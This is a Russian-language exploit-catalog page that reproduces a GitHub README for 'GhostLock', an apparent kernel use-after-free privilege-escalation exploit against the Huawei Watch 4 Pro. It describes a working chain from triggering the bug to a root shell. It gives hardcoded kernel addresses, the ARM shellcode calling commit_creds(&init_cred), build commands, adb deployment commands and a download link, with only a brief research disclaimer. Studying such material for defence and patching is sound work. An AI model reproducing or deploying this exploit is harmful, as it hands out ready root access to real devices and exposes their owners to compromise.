Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) — исследование повышения привилегий в ядре Linux (futex PI rt_mutex UAF ARM32), нацеленное на Huawei Watch 4 Pro (ядро 5.4.210) | Kitploit
Инструменты/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
Безопасность встроенных системПовышение привилегийБезопасность IoTАнализ уязвимостейЭксплуатацияОбратная инженерияРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubgitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) — исследование повышения привилегий в ядре Linux (futex PI rt_mutex UAF ARM32), нацеленное на Huawei Watch 4 Pro (ядро 5.4.210)

Репозиторий
427829 дней назадЕщё не проверено

CVE-2026-43499 (GhostLock) — Исследование повышения привилегий в ядре ARM32

Исследование уязвимости Use-After-Free в rt_mutex futex PI ядра Linux и разработка эксплойта для Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, ядро 5.4.210.

Уязвимость

Функция remove_waiter() в kernel/locking/rt_mutex.c некорректно использует current вместо waiter->task при откате proxy-lock, не очищая pi_blocked_on у задачи-ожидающего. Это оставляет висячий указатель из task_struct на размещённый в стеке rt_mutex_waiter после освобождения стекового фрейма ядра ожидающего — классический Use-After-Free в стеке.

Стратегия эксплойта

  1. Висячий указатель — вызвать откат EDEADLK через futex(FUTEX_CMP_REQUEUE_PI) в трёх потоках; pi_blocked_on ожидающего указывает на освобождённый стек.
  2. Спрей стека (штамп) — использовать prctl(PR_SET_NAME) (опция 15, непривилегированная) для копирования 15 байт контролируемых данных в стек ядра, перезаписывая поля task/lock/prio поддельного ожидающего.
  3. Примитив записи — sched_setattr() запускает обход PI-цепочки; поддельный ожидающий ставится в очередь в поддельный rt_mutex, перекрывающий структуру file_operations ядра. Вставка в красно-чёрное дерево записывает адрес стека ядра ожидающего в fops->unlocked_ioctl.
  4. Выполнение кода — повторно проштамповать ожидающего позиционно-независимым ARM-шеллкодом; открыть общедоступное символьное устройство и вызвать ioctl(), который диспетчеризуется через перезаписанный указатель unlocked_ioctl в шеллкод на исполняемом стеке ядра.
  5. Повышение привилегий — шеллкод вызывает commit_creds(waiter), где первые поля ожидающего (заданные rb_insert_color) образуют поддельную struct cred с uid/gid = 0.

Текущий статус

  • Триггер UAF: работает (проверено на устройстве)
  • Штамп стека через prctl: работает
  • Примитив однократной записи адреса стека ядра: работает (перезаписывает fops->unlocked_ioctl адресом стека ожидающего)
  • Стек ядра подтверждён как исполняемый (нет PXN/NX в области BSS/стека)
  • Выполнение кода и повышение до root: работает (диспетчеризация через ioctl(null_fd, IOCTL_CMD, 0) в шеллкод -> commit_creds(&init_cred) -> root-шелл)

Целевое устройство

СвойствоЗначение
УстройствоHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
Ядро5.4.210 (32-бит ARM)
KASLRотключён
PAN/SMAPотсутствует
PXNотсутствует на 0xc1b00000+ (стек/BSS исполняемы)
CFI/PACотсутствует

Ключевые адреса ядра

kernel base           0xC0008000
syscall table         0xc0101264
do_vfs_ioctl          0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds          0xc014c898  (true commit_creds entry)
override_creds        0xc014cac8  (leaf helper immediately following commit_creds)
rt_mutex_enqueue      0xc019c660
rb_insert_color       0xc104a918
init_task             0xc1b11640
init_cred             0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK             0xc141f5d4  (null_fops + 0x24)
write target          0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD             0x01B17E60  (INIT_CRED + 0x40000000)

Структура репозитория

.
├── README.md                  # Project documentation
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   ├── nebula_poc.c           # Nebula team reference POC
│   └── variants/              # Research exploit variants & performance tests
│       ├── ghostlock_v11_kgsl_preadv2.c
│       ├── ghostlock_v6a_kgsl_getdents64.c
│       ├── ghostlock_v7_clock_adjtime.c
│       └── ...
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # Capstone/Keystone-based reverse engineering
│   ├── *.py                   # Disassembly and verification scripts
│   └── *.txt                  # Extracted tables and scan logs
├── references/
│   ├── ghostlock/             # Earlier exploit iterations & research notes
│   ├── ref_tc3650/            # TC3650 ARM32 reference materials
│   └── ref_oneplus_aarch64/   # OnePlus / Oppo AArch64 GhostLock references
└── tools/
    └── fetch_missing.sh       # Zig-based musl toolchain compilation script

Сборка

Использование кросс-компиляции GCC или Zig:

# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread

Запуск

adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

Проектирование шелл-кода

Позиционно-независимый шелл-код ARM, размещаемый по адресу waiter+0x18:

sub r0, r1, #0x40000000   @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4]         @ jump to commit_creds
.word 0xc014c898          @ true commit_creds entry
  • Когда ioctl(null_fd, cmd, arg) выполняет диспетчеризацию f_op->unlocked_ioctl(filp, cmd, arg), регистр r1 содержит аргумент cmd.
  • Задав cmd = 0x01B17E60, инструкция sub r0, r1, #0x40000000 (кодировка 0xe2410101, без нулевых байтов) вычисляет r0 = 0xc1b17e60 (&init_cred).
  • commit_creds(&init_cred) устанавливает root-учётные данные с полными возможностями и чистым контекстом безопасности SELinux, корректно возвращаясь в do_vfs_ioctl (lr = 0xc031c8c0).

Замечание о структуре file_operations

В struct file_operations этого вендорского ядра есть дополнительное 4-байтовое поле по смещению +0x24 (между poll и unlocked_ioctl), что сдвигает все последующие члены на 4 байта относительно стандартного Linux 5.4:

+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

Это было подтверждено путём дизассемблирования обработчиков ashmem и null fops.

Отказ от ответственности

Этот репозиторий предназначен только для исследований в области безопасности и обучения. Не используйте эти методы на устройствах, которыми вы не владеете или на тестирование которых у вас нет разрешения.

Скачать инструмент